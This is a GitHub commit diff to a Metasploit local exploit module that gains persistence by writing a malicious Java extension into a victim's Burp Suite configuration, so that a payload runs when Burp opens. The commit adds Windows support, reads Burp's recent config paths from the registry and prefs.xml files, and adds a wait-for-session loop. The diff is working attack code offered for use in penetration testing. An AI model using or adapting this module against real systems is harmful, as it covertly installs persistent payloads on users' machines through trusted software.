Skip to content

Commit

Permalink
linux working, windows payload issues on compile and zip error on pre…
Browse files Browse the repository at this point in the history
…-built
  • Loading branch information
h00die committed Jan 9, 2025
1 parent 4465260 commit 5f1ae69
Showing 1 changed file with 103 additions and 13 deletions.
116 changes: 103 additions & 13 deletions modules/exploits/multi/local/burp_extension_persistence.rb
Original file line number Diff line number Diff line change
Expand Up @@ -7,9 +7,11 @@ class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Unix # whoami
include Msf::Auxiliary::Report
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Windows::Registry

def initialize(info = {})
super(
Expand All @@ -20,7 +22,11 @@ def initialize(info = {})
This module adds a java based malicious extension to the Burp Suite configuration file.
When burp is opened, the extension will be loaded and the payload will be executed.
Tested against Burp Suite Community Edition v2024.9.4 on Kali
Tested against Burp Suite Community Edition v2024.9.4 on Kali.
Tested against Burp Suite Professional ??? on Kali.
Tested against Burp Suite Community Edition v2024.10.3 on Windows 10.
},
'License' => MSF_LICENSE,
'Author' => [
Expand All @@ -43,6 +49,7 @@ def initialize(info = {})
'BadChars' => '";\\'
},
'Stance' => Msf::Exploit::Stance::Passive,
'Passive' => true,
'Targets' => [
['Linux', { 'Platform' => 'unix' } ],
['Windows', { 'Platform' => 'windows' } ],
Expand All @@ -63,8 +70,9 @@ def initialize(info = {})

register_options([
OptString.new('NAME', [ false, 'Name of the extension', '' ]),
OptString.new('CONFIG', [ true, 'Config file location on target', '' ]),
OptString.new('WritableDir', [ true, 'A directory where we can write the extension', '' ])
OptString.new('CONFIG', [ false, 'Config file location on target', '' ]),
OptString.new('WritableDir', [ true, 'A directory where we can write the extension', '' ]),
OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]),
])
register_advanced_options([
OptString.new('GRADLE', [ false, 'Gradle executable', '/usr/bin/gradle' ]),
Expand All @@ -78,13 +86,28 @@ def extension_name_generator
end

def check
if action.name == 'build' && File.exist?(datastore['GRADLE'])
vprint_good('Gradle found')
else
CheckCode::Safe('Gradle is required on THE METASPLOIT computer, please install.')
if action.name == 'build'
if File.exist?(datastore['GRADLE'])
vprint_good('Gradle found')
else
CheckCode::Safe('Gradle is required on THE METASPLOIT computer, please install.')
end
end

if file?(datastore['config'])
configs = get_configs_from_settings
configs.each do |config|
if file?(config)
print_status("Found config: #{config}")
else
print_status("Config mentioned in settings, but not found: #{config}")
end
end

print_bad('User has no saved configs in their settings') if configs.empty?

if datastore['config'].blank?
return CheckCode::Detected('No config file listed, only writing plugin to disk')
elsif file?(datastore['config'])
return CheckCode::Detected("Config file found: #{datastore['config']}")
end

Expand Down Expand Up @@ -120,6 +143,59 @@ def add_extension(settings_file, extension_location, extension_name)
write_file(settings_file, JSON.pretty_generate(config_contents, { 'space' => '', 'indent' => ' ' * 4 }))
end

def target_user
return datastore['USER'] unless datastore['USER'].blank?

return cmd_exec('cmd.exe /c echo %USERNAME%').strip if ['windows', 'win'].include? session.platform

whoami
end

# windows stores these settings in the registry
# nix stores it in a prefs.xml file
def get_configs_from_settings
me = target_user
config_files = []
if ['windows', 'win'].include? session.platform
key = 'HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\burp'
i = 0
while i < 100 # place a hard upper limit just in case
value = registry_getvaldata(key, "free.suite.recent/Config/Files#{i}")
i += 1

break if value.nil?

value = value.sub(%r{^/}, '') # remove leading slash. Example entry: /C:///Users//windows///Desktop//burp_user_settings.json
config_files << value
end
else
files = [
"/home/#{me}/.java/.userPrefs/burp/prefs.xml",
"/home/#{me}/.java/.userPrefs/burp/community/prefs.xml"
]
files.each do |f|
next unless file?(f)

vprint_status("Found config file: #{f}")
xml_content = read_file(f) # Replace with the path to your XML file

doc = Nokogiri::XML(xml_content)

# Extract entries from <map> where key starts with 'free.suite.recentConfigFiles'
# its an array so free.suite.recentConfigFiles1, free.suite.recentConfigFiles2, etc
entries = doc.xpath('//map/entry').select do |entry|
entry['key']&.start_with?('free.suite.recentConfigFiles')
end

# Get the values for those entries
entries.each do |entry|
config_files << entry['value']
end
end
end
config_files
end

def run_local_gradle_build(extension_name)
# Check if gradle is installed
fails_with(Failure::NotFound, 'Gradle is not installed on this system (not target).') unless File.exist?(datastore['GRADLE'])
Expand Down Expand Up @@ -213,8 +289,10 @@ def compiled_extension(extension_name)
end

def exploit
fail_with(Failure::NotFound, "Config file not found: #{datastore['config']}") unless file?(datastore['config'])
fail_with(Failure::NotFound, "Unable to write to: #{datastore['WritableDir']}") unless writable?(datastore['WritableDir'])
# RuntimeError `writable?' method does not support Windows systems
if !['windows', 'win'].include?(session.platform) && !writable?(datastore['WritableDir'])
fail_with(Failure::NotFound, "Unable to write to: #{datastore['WritableDir']}")
end
extension_name = extension_name_generator
print_status("Using extension name: #{extension_name}")
extension_location = "#{datastore['WritableDir']}/#{extension_name}.jar"
Expand All @@ -230,10 +308,22 @@ def exploit
vprint_status("Writing malcious extension to disk: #{extension_location}")

write_file(extension_location, jar)
vprint_status('Updating config file')
add_extension(datastore['CONFIG'], extension_location, extension_name)
if datastore['CONFIG'].blank?
print_good('Extension enabled, waiting for Burp to open with the config.')
else
vprint_status('Updating config file')
add_extension(datastore['CONFIG'], extension_location, extension_name)
print_good('Extension written to disk, waiting for Burp to open and user to install extension.')
end

# stolen from exploit/multi/handler
stime = Time.now.to_f
timeout = datastore['ListenerTimeout'].to_i
loop do
break if timeout > 0 && (stime + timeout < Time.now.to_f)

print_good('Extension enabled, waiting for Burp to open with the config.')
Rex::ThreadSafe.sleep(1)
end

# config files must be applied, and on boot doesn't seem to work
# /usr/lib/jvm/java-23-openjdk-amd64/bin/java -jar -Xmx4g -Djava.awt.headless=true /usr/share/burpsuite/burpsuite.jar burp.StartBurp --user-config-file=/tmp/burp.json &
Expand Down

0 comments on commit 5f1ae69

Please sign in to comment.